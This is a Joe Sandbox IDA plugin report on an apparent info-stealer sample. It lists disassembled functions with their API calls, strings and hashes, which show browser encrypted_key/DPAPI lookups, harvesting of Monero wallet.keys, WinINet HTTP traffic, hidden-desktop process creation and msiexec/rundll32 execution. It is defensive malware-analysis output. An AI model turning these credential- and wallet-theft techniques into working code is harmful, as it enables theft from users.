Source File: 00000007.00000002.1570994482.0000000002490000.00000040.00001000.00020000.00000000.sdmp, Offset: 02490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2490000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: lstrcat$FileLocal$AllocFree$BinaryCryptGlobalStringmemcmpmemset$AttributesCloseCreateFolderHandlePathReadSizelstrcpy
String ID: @S~$hj~
API String ID: 1191620704-1420096279
Opcode ID: 5e7d088db62709dc0ccde8baf0395fa2f3c858227df9e8cbd07930c03f7cc80d
Instruction ID: f6ef0f7994679529e082aa907875d02837d3531fef06156b253c2e8bbefcf3d1
Opcode Fuzzy Hash: 5e7d088db62709dc0ccde8baf0395fa2f3c858227df9e8cbd07930c03f7cc80d
Instruction Fuzzy Hash: 97715FB2D00218ABDB14EBB0DC99FEE777ABF98300F04459EE60596180EB759B58CF51

Function 004144D0 Relevance: 26.5, APIs: 13, Strings: 2, Instructions: 202stringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 004144EE
memset.MSVCRT ref: 00414505

Part of subcall function 00418F70: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 00418F9B

lstrcatA.KERNEL32(?,00000000), ref: 0041453C
lstrcatA.KERNEL32(?,007E6A80), ref: 0041455B
lstrcatA.KERNEL32(?,?), ref: 0041456F
lstrcatA.KERNEL32(?,007E5340), ref: 00414583

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

Part of subcall function 00418F20: GetFileAttributesA.KERNEL32(00000000,?,00410277,?,00000000,?,00000000,00420DB2,00420DAF), ref: 00418F2F

Part of subcall function 0040A430: StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 0040A489
Part of subcall function 0040A430: memcmp.MSVCRT(?,DPAPI,00000005), ref: 0040A4E2

Part of subcall function 0040A110: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 0040A13C
Part of subcall function 0040A110: GetFileSizeEx.KERNEL32(000000FF,?), ref: 0040A161
Part of subcall function 0040A110: LocalAlloc.KERNEL32(00000040,?), ref: 0040A181
Part of subcall function 0040A110: ReadFile.KERNEL32(000000FF,?,00000000,00410447,00000000), ref: 0040A1AA
Part of subcall function 0040A110: LocalFree.KERNEL32(00410447), ref: 0040A1E0
Part of subcall function 0040A110: CloseHandle.KERNEL32(000000FF), ref: 0040A1EA

Part of subcall function 00419550: GlobalAlloc.KERNEL32(00000000,0041462D,0041462D), ref: 00419563

StrStrA.SHLWAPI(?,007E6A68), ref: 00414643
GlobalFree.KERNEL32(?), ref: 00414762

Part of subcall function 0040A210: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,>O@,00000000,00000000), ref: 0040A23F
Part of subcall function 0040A210: LocalAlloc.KERNEL32(00000040,?,?,?,00404F3E,00000000,?), ref: 0040A251
Part of subcall function 0040A210: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,>O@,00000000,00000000), ref: 0040A27A
Part of subcall function 0040A210: LocalFree.KERNEL32(?,?,?,?,00404F3E,00000000,?), ref: 0040A28F

Part of subcall function 0040A560: memcmp.MSVCRT(?,v20,00000003), ref: 0040A57D

lstrcatA.KERNEL32(?,00000000), ref: 004146F3
StrCmpCA.SHLWAPI(?,004208D2), ref: 00414710
lstrcatA.KERNEL32(00000000,00000000), ref: 00414722
lstrcatA.KERNEL32(00000000,?), ref: 00414735
lstrcatA.KERNEL32(00000000,00420FA0), ref: 00414744

Strings

@S~, xrefs: 00414575
hj~, xrefs: 00414636

Memory Dump Source

Source File: 00000007.00000002.1570179444.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1570179444.00000000004E6000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000004EE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000511000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000514000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.000000000051B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000526000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000006E8000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: lstrcat$FileLocal$AllocFree$BinaryCryptGlobalStringmemcmpmemset$AttributesCloseCreateFolderHandlePathReadSizelstrcpy
String ID: @S~$hj~
API String ID: 1191620704-1420096279
Opcode ID: e6855c9f001d1c02cd0542eea975edd43dd132d7f4dc845d8e99b5bd53663b4c
Instruction ID: a18e5ba717d90c20c2426d83a13a237c0a2f648a3df755456e30f39b11c63a78
Opcode Fuzzy Hash: e6855c9f001d1c02cd0542eea975edd43dd132d7f4dc845d8e99b5bd53663b4c
Instruction Fuzzy Hash: B77157B6D00218ABDB14EBA0DD45FDE737AAF88304F00459DF505A6191EB38EB94CF55

Function 0249A097 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 157stringsleepprocessCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0249A0AE

Part of subcall function 024A8F57: GetSystemTime.KERNEL32(00420E1B,006D6CA4,004205B6,?,?,02491660,?,0000001A,00420E1B,00000000,?,006D6BF0,?,004250DC,00420E1A), ref: 024A8F7D

wsprintfA.USER32 ref: 0249A0E6
OpenDesktopA.USER32(?,00000000,00000001,10000000), ref: 0249A10A
CreateDesktopA.USER32(?,00000000,00000000,00000000,10000000,00000000), ref: 0249A133
memset.MSVCRT ref: 0249A154
lstrcat.KERNEL32(00000000,?), ref: 0249A16A
lstrcat.KERNEL32(00000000,?), ref: 0249A17E
lstrcat.KERNEL32(00000000,004212D8), ref: 0249A190
memset.MSVCRT ref: 0249A1A4
lstrcpy.KERNEL32(?,00000000), ref: 0249A1E3
memset.MSVCRT ref: 0249A203
CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000000,08000000,00000000,00000000,00000044,00000000), ref: 0249A26B
Sleep.KERNEL32(00001388), ref: 0249A27A
CloseDesktop.USER32(00000000), ref: 0249A2C7

Strings

D, xrefs: 0249A20B

Memory Dump Source

Source File: 00000007.00000002.1570994482.0000000002490000.00000040.00001000.00020000.00000000.sdmp, Offset: 02490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2490000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: memset$Desktoplstrcat$Create$CloseOpenProcessSleepSystemTimelstrcpywsprintf
String ID: D
API String ID: 1347862506-2746444292
Opcode ID: 129a72e408785f324dac0317533ad1fd853fd10515b731b54cc373586fca86ea
Instruction ID: 38e3399325cabe0f304abd417e8553698005a25e54e17d14792921aa00f41340
Opcode Fuzzy Hash: 129a72e408785f324dac0317533ad1fd853fd10515b731b54cc373586fca86ea
Instruction Fuzzy Hash: 83519EB1904318ABEB24DB60CC89FD97779AF58700F004599F60DAA2D0EB759B88CF55

Function 004191A0 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 184COMMON

Download Yara Rule

APIs

CreateStreamOnHGlobal.COMBASE(00000000,00000001,?), ref: 004191FC

Strings

`dAF, xrefs: 00419361, 004193D9, 0041930E, 004192DF, 004192B2, 0041920D, 004191E4, 00419364
image/jpeg, xrefs: 004192C6
`dAF, xrefs: 004191CF, 00419399, 004191D2, 0041939C

Memory Dump Source

Source File: 00000007.00000002.1570179444.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1570179444.00000000004E6000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000004EE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000511000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000514000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.000000000051B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000526000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000006E8000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: CreateGlobalStream
String ID: `dAF$`dAF$image/jpeg
API String ID: 2244384528-2462684518
Opcode ID: e2818ee80e84ba607554f161cf3f8b5aa4b01b2fddcad8d08d404cdb47dfdd2d
Instruction ID: 5957f6d1424668cbfb95915d93d24f68315a2265fb4ab52f55d04562dbc5d918
Opcode Fuzzy Hash: e2818ee80e84ba607554f161cf3f8b5aa4b01b2fddcad8d08d404cdb47dfdd2d
Instruction Fuzzy Hash: BE710E71E11208ABDB14EFE4DC95FEEB779BF48300F10851AF516A7290EB34A944CB65

Function 004119F0 Relevance: 24.7, APIs: 13, Strings: 1, Instructions: 160stringCOMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,block), ref: 00411A15
ExitProcess.KERNEL32 ref: 00411A21
strtok_s.MSVCRT ref: 00411A38

Strings

block, xrefs: 00411A07

Memory Dump Source

Source File: 00000007.00000002.1570179444.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1570179444.00000000004E6000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000004EE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000511000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000514000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.000000000051B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000526000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000006E8000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: ExitProcessstrtok_s
String ID: block
API String ID: 3407564107-2199623458
Opcode ID: 1f0f84f1c6c132a16ad49c43e162cf8975f1175bc1bc8b8d234cf50fd6cc2e6d
Instruction ID: 24cedd258c0b2a3a786e48f87e23423129f016670b7ad46fccbec0895e921d59
Opcode Fuzzy Hash: 1f0f84f1c6c132a16ad49c43e162cf8975f1175bc1bc8b8d234cf50fd6cc2e6d
Instruction Fuzzy Hash: 00513174B0A109DFCB04DF94D984FEE77B9AF44704F10405AE502AB261E778EA91CB5A

Function 00413080 Relevance: 21.5, APIs: 3, Strings: 9, Instructions: 469COMMON

Download Yara Rule

APIs

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

ShellExecuteEx.SHELL32(0000003C), ref: 00413415
ShellExecuteEx.SHELL32(0000003C), ref: 004135AD
ShellExecuteEx.SHELL32(0000003C), ref: 0041373A

Strings

`Q~, xrefs: 004130B9
"" , xrefs: 004132EA
.msi, xrefs: 004135E8
/i ", xrefs: 00413634
<, xrefs: 004136E0
.dll, xrefs: 00413435
C:\Windows\system32\msiexec.exe, xrefs: 0041370F
C:\Windows\system32\rundll32.exe, xrefs: 00413582
/passive, xrefs: 004136AB

Memory Dump Source

Source File: 00000007.00000002.1570179444.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1570179444.00000000004E6000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000004EE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000511000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000514000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.000000000051B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000526000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000006E8000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: ExecuteShell$lstrcpy
String ID: /i "$ /passive$"" $.dll$.msi$<$C:\Windows\system32\msiexec.exe$C:\Windows\system32\rundll32.exe$`Q~
API String ID: 2507796910-487703579
Opcode ID: 60d9a18a70bf2001389c07b26269647e26e62f96b875f39fe237729e796e82c3
Instruction ID: 9b621e5b28039e8226f92625bb5802f9f58bb257d03f06fe20f9cf3dfd15236c
Opcode Fuzzy Hash: 60d9a18a70bf2001389c07b26269647e26e62f96b875f39fe237729e796e82c3
Instruction Fuzzy Hash: 271241719011189ACB14FBA1DDA2FEDB739AF14314F00419FF10666196EF382B99CFA9

Function 02496537 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 191networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 024AAD17: lstrcpy.KERNEL32(?,00000000), ref: 024AAD5D

Part of subcall function 02494A67: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 02494AA1
Part of subcall function 02494A67: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 02494AB8
Part of subcall function 02494A67: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 02494ACF
Part of subcall function 02494A67: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 02494AF0
Part of subcall function 02494A67: InternetCrackUrlA.WININET(00000000,00000000), ref: 02494B00

Part of subcall function 024AACB7: lstrcpy.KERNEL32(00420E1A,00000000), ref: 024AACFF

InternetOpenA.WININET(00420DFF,00000001,00000000,00000000,00000000), ref: 02496598
StrCmpCA.SHLWAPI(?,006D6E80), ref: 024965BA
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 024965EC
HttpOpenRequestA.WININET(00000000,00421B58,?,e~,00000000,00000000,00400100,00000000), ref: 0249663C
InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 02496676
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 02496688
HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 024966B4
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 02496724
InternetCloseHandle.WININET(00000000), ref: 024967A6
InternetCloseHandle.WININET(00000000), ref: 024967B0
InternetCloseHandle.WININET(00000000), ref: 024967BA

Strings

e~, xrefs: 02496628, 0249662E

Memory Dump Source

Source File: 00000007.00000002.1570994482.0000000002490000.00000040.00001000.00020000.00000000.sdmp, Offset: 02490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2490000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: Internet$??2@CloseHandleHttp$OpenRequestlstrcpy$ConnectCrackFileInfoOptionQueryReadSendlstrlen
String ID: e~
API String ID: 3074848878-1258706757
Opcode ID: ac41d8ecf663f4ee37a4d0cdec011a5d743951c9ad13516bf48e5d7933a9a4d1
Instruction ID: ebe1e9dd54226a207d9eac240b02b4e050bf9d01c3d9ee74e7d070d85a96ce8b
Opcode Fuzzy Hash: ac41d8ecf663f4ee37a4d0cdec011a5d743951c9ad13516bf48e5d7933a9a4d1
Instruction Fuzzy Hash: 60714171A00228EBDF14DFA0CC58FEEB77AAF54701F10819AE50A6B190DBB56A84CF51

Function 00401310 Relevance: 21.1, APIs: 7, Strings: 5, Instructions: 139stringfileCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00401327

Part of subcall function 004012A0: GetProcessHeap.KERNEL32(00000000,00000104,80000001), ref: 004012B4
Part of subcall function 004012A0: HeapAlloc.KERNEL32(00000000), ref: 004012BB
Part of subcall function 004012A0: RegOpenKeyExA.ADVAPI32(000000FF,?,00000000,00020119,?), ref: 004012D7
Part of subcall function 004012A0: RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,000000FF,000000FF), ref: 004012F5
Part of subcall function 004012A0: RegCloseKey.ADVAPI32(?), ref: 004012FF

lstrcatA.KERNEL32(?,00000000), ref: 0040134F
lstrlenA.KERNEL32(?), ref: 0040135C
lstrcatA.KERNEL32(?,.keys), ref: 00401377

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

Part of subcall function 0041ACC0: lstrlenA.KERNEL32(?,004210F8,?,00000000,00420AF3), ref: 0041ACD5
Part of subcall function 0041ACC0: lstrcpy.KERNEL32(00000000), ref: 0041AD14
Part of subcall function 0041ACC0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AD22

Part of subcall function 0041ABB0: lstrcpy.KERNEL32(?,00420AF3), ref: 0041AC15

Part of subcall function 00418CF0: GetSystemTime.KERNEL32(?,007DA120,004205B6,?,?,?,?,?,?,?,?,?,004049B3,?,00000014), ref: 00418D16

Part of subcall function 0041AC30: lstrcpy.KERNEL32(00000000,?), ref: 0041AC82
Part of subcall function 0041AC30: lstrcatA.KERNEL32(00000000), ref: 0041AC92

CopyFileA.KERNEL32(?,00000000,00000001), ref: 00401465

Part of subcall function 0041AAB0: lstrcpy.KERNEL32(?,00000000), ref: 0041AAF6

Part of subcall function 0040A110: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 0040A13C
Part of subcall function 0040A110: GetFileSizeEx.KERNEL32(000000FF,?), ref: 0040A161
Part of subcall function 0040A110: LocalAlloc.KERNEL32(00000040,?), ref: 0040A181
Part of subcall function 0040A110: ReadFile.KERNEL32(000000FF,?,00000000,00410447,00000000), ref: 0040A1AA
Part of subcall function 0040A110: LocalFree.KERNEL32(00410447), ref: 0040A1E0
Part of subcall function 0040A110: CloseHandle.KERNEL32(000000FF), ref: 0040A1EA

DeleteFileA.KERNEL32(00000000), ref: 004014EF
memset.MSVCRT ref: 00401516

Strings

`Q~, xrefs: 00401404
wallet_path, xrefs: 00401330
\Monero\wallet.keys, xrefs: 0040138D
.keys, xrefs: 0040136B
SOFTWARE\monero-project\monero-core, xrefs: 00401335

Memory Dump Source

Source File: 00000007.00000002.1570179444.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1570179444.00000000004E6000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000004EE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000511000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000514000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.000000000051B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000526000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000006E8000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$lstrcat$AllocCloseHeapLocallstrlenmemset$CopyCreateDeleteFreeHandleOpenProcessQueryReadSizeSystemTimeValue
String ID: .keys$SOFTWARE\monero-project\monero-core$\Monero\wallet.keys$`Q~$wallet_path
API String ID: 1930502592-4217589644
Opcode ID: d9d8cfdfc5c43dc14958705e924af0b5def4c8de2adb81104d963fd4b50c4995
Instruction ID: 8a875ffafc7cdb1f6750a56d7bf9635fee6f51bf8c43acc15b4905507f63a119
Opcode Fuzzy Hash: d9d8cfdfc5c43dc14958705e924af0b5def4c8de2adb81104d963fd4b50c4995
Instruction Fuzzy Hash: 915153B1E5011857CB14EB60DD96BED733D9F54304F4045EEB60A62092EE346BD8CAAE

Function 00415510 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 138stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041AAB0: lstrcpy.KERNEL32(?,00000000), ref: 0041AAF6

Part of subcall function 004062D0: InternetOpenA.WININET(00420DFF,00000001,00000000,00000000,00000000), ref: 00406331
Part of subcall function 004062D0: StrCmpCA.SHLWAPI(?,007E6F18), ref: 00406353
Part of subcall function 004062D0: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00406385
Part of subcall function 004062D0: HttpOpenRequestA.WININET(00000000,GET,?,007E65E8,00000000,00000000,00400100,00000000), ref: 004063D5
Part of subcall function 004062D0: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 0040640F
Part of subcall function 004062D0: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00406421

Part of subcall function 0041ABB0: lstrcpy.KERNEL32(?,00420AF3), ref: 0041AC15

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00415568
lstrlenA.KERNEL32(00000000), ref: 0041557F

Part of subcall function 00418FC0: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00418FE2

StrStrA.SHLWAPI(00000000,00000000), ref: 004155B4
lstrlenA.KERNEL32(00000000), ref: 004155D3
strtok.MSVCRT(00000000,?), ref: 004155EE
lstrlenA.KERNEL32(00000000), ref: 004155FE

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

Strings

ERROR, xrefs: 004156BF
lXA, xrefs: 0041570E, 004156D4, 00415697, 0041565A, 0041561E
ERROR, xrefs: 0041555A
ERROR, xrefs: 004156F9
ERROR, xrefs: 00415682
ERROR, xrefs: 00415609

Memory Dump Source

Source File: 00000007.00000002.1570179444.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1570179444.00000000004E6000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000004EE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000511000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000514000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.000000000051B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000526000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000006E8000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: Internetlstrcpylstrlen$HttpOpenRequest$AllocConnectLocalOptionSendstrtok
String ID: ERROR$ERROR$ERROR$ERROR$ERROR$lXA
API String ID: 3532888709-2643084821
Opcode ID: 7d0e704c8274934bc83e00dd7add74e71fd461374d3639c644432f9ec1b66709
Instruction ID: 990a636b304bf614e487c778196146b6daa8d27d3f5f6fae7c13381180e093e6
Opcode Fuzzy Hash: 7d0e704c8274934bc83e00dd7add74e71fd461374d3639c644432f9ec1b66709
Instruction Fuzzy Hash: B7518030A11148EBCB14FF61DDA6AED7339AF10354F50442EF50A671A1EF386B94CB5A

Function 024A9407 Relevance: 16.7, APIs: 11, Instructions: 184COMMON

Download Yara Rule

APIs

CreateStreamOnHGlobal.COMBASE(00000000,00000001,?), ref: 024A9463

Memory Dump Source

Source File: 00000007.00000002.1570994482.0000000002490000.00000040.00001000.00020000.00000000.sdmp, Offset: 02490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2490000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: CreateGlobalStream
String ID:
API String ID: 2244384528-0
Opcode ID: 68c812a46f952ba48fa7337b2ce4f4d30c6e31e532046c2242e001230db6a87b
Instruction ID: 217c428cc24d9aeda4ac5d4e2832d9ea81f3a1ece46044e555256005a11f0b1b
Opcode Fuzzy Hash: 68c812a46f952ba48fa7337b2ce4f4d30c6e31e532046c2242e001230db6a87b
Instruction Fuzzy Hash: 6D710A71E05208ABDB04DFE4DD94FEEB779AF58700F10814AF505A7290EB35AA04CB61

Function 02499E47 Relevance: 16.4, APIs: 13, Instructions: 141stringCOMMON

Download Yara Rule

APIs

Part of subcall function 02499CB7: InternetOpenA.WININET(00420AF6,00000001,00000000,00000000,00000000), ref: 02499CD1

memset.MSVCRT ref: 02499E9A
lstrcat.KERNEL32(?,004212A8), ref: 02499EAF
lstrcat.KERNEL32(?,00000000), ref: 02499EC5
memset.MSVCRT ref: 02499F01
lstrcat.KERNEL32(?,004212BC), ref: 02499F16
lstrcat.KERNEL32(?,004212C4), ref: 02499F28
lstrcat.KERNEL32(?,?), ref: 02499F3C
lstrcat.KERNEL32(?,004212C8), ref: 02499F4E
lstrcat.KERNEL32(?,?), ref: 02499F62
lstrcat.KERNEL32(?,004212CC), ref: 02499F74
lstrlen.KERNEL32(00000000), ref: 02499F7E
lstrlen.KERNEL32(00000000), ref: 02499F8D

Part of subcall function 024AACB7: lstrcpy.KERNEL32(00420E1A,00000000), ref: 024AACFF

memset.MSVCRT ref: 02499FE5

Memory Dump Source

Source File: 00000007.00000002.1570994482.0000000002490000.00000040.00001000.00020000.00000000.sdmp, Offset: 02490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2490000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: lstrcat$memset$lstrlen$InternetOpenlstrcpy
String ID:
API String ID: 689835475-0
Opcode ID: dfb927d2f1fb8a0db0fdcd0bcab99d2dca3d169bc9a1ca59a3c17c24f69ee733
Instruction ID: 8ae5505300af9459dd5fe4b40315f5fd1be176124eef7f513274e95c84d47305
Opcode Fuzzy Hash: dfb927d2f1fb8a0db0fdcd0bcab99d2dca3d169bc9a1ca59a3c17c24f69ee733
Instruction Fuzzy Hash: EC516DB1D00618ABCB14EBE4DC95FEE7739BF14302F80459EF50AA6190EB759648CF61

Function 024A4567 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 124registrystringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 024A458C
RegOpenKeyExA.ADVAPI32(80000001,006D6ED8,00000000,00020119,?), ref: 024A45AB
RegQueryValueExA.ADVAPI32(?,(k~,00000000,00000000,00000000,000000FF), ref: 024A45CF
RegCloseKey.ADVAPI32(?), ref: 024A45D9
lstrcat.KERNEL32(?,00000000), ref: 024A45FE
lstrcat.KERNEL32(?,006D6B68), ref: 024A4612

Strings

(k~, xrefs: 024A45C4, 024A45CA
Xk~, xrefs: 024A46EA, 024A46F0
@k~, xrefs: 024A4642, 024A4648

Memory Dump Source

Source File: 00000007.00000002.1570994482.0000000002490000.00000040.00001000.00020000.00000000.sdmp, Offset: 02490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2490000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: lstrcat$CloseOpenQueryValuememset
String ID: (k~$@k~$Xk~
API String ID: 2623679115-655567210
Opcode ID: 999cfbed4ff8a03412d5231f3ea01ef0dc387c4afc54b3402d2d603eb4b95bc4
Instruction ID: 37644027a2c926cda41753db4f4a1c024aa165664c97fe96fc177f1ecb97c3b1
Opcode Fuzzy Hash: 999cfbed4ff8a03412d5231f3ea01ef0dc387c4afc54b3402d2d603eb4b95bc4
Instruction Fuzzy Hash: 00417772D001086BDB14EBA1ED55FEE773EAB5C300F04459EB61956180EAB5A7888FE1

Function 00414300 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 124registrystringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00414325
RegOpenKeyExA.ADVAPI32(80000001,007E5C18,00000000,00020119,?), ref: 00414344
RegQueryValueExA.ADVAPI32(?,007E6B28,00000000,00000000,00000000,000000FF), ref: 00414368
RegCloseKey.ADVAPI32(?), ref: 00414372
lstrcatA.KERNEL32(?,00000000,?,00000104), ref: 00414397
lstrcatA.KERNEL32(?,007E6B10), ref: 004143AB

Strings

(k~, xrefs: 0041435D
Xk~, xrefs: 00414483
@k~, xrefs: 004143DB

Memory Dump Source

Source File: 00000007.00000002.1570179444.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1570179444.00000000004E6000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000004EE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000511000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000514000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.000000000051B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000526000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000006E8000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: lstrcat$CloseOpenQueryValuememset
String ID: (k~$@k~$Xk~
API String ID: 2623679115-655567210
Opcode ID: 5ab39f87e3c408f2a90f24169347c873da2d30c2c471e45419c7dcdc3ee26daa
Instruction ID: 95163f332e2e8486d22fa14c8026e7b1b291c890fe90cbe7f90fb3e747a5c624
